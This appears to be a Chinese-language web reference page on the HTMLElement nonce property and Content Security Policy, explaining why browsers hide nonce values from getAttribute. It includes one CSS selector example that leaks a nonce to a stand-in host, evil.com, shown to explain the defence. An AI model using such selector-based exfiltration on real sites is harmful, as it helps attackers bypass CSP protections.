HTMLElement:nonce 属性

nonce 属性是 HTMLElement 接口的属性,它返回用于 内容安全策略 的一次性密码,用于确定是否允许给定的获取操作继续进行。

在后期的实现中,元素仅将其 nonce 属性暴露给脚本(而不是像 CSS 属性选择器这样的侧信道)。

示例

检索 nonce 值

在过去,并非所有浏览器都支持 nonce IDL 属性,因此解决方法是尝试使用 getAttribute 作为后备

js
let nonce = script["nonce"] || script.getAttribute("nonce");

但是,最近版本的浏览器会隐藏通过这种方式访问的 nonce 值(将返回空字符串)。IDL 属性(script['nonce'])将是访问 nonce 的唯一方法。

隐藏 nonce 有助于防止攻击者通过以下机制泄露 nonce 数据,这些机制可以从内容属性中获取数据,例如这个 CSS 选择器

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

规范

规范
HTML 标准
# dom-noncedelement-nonce

浏览器兼容性

BCD 表格仅在启用 JavaScript 的浏览器中加载。

另请参阅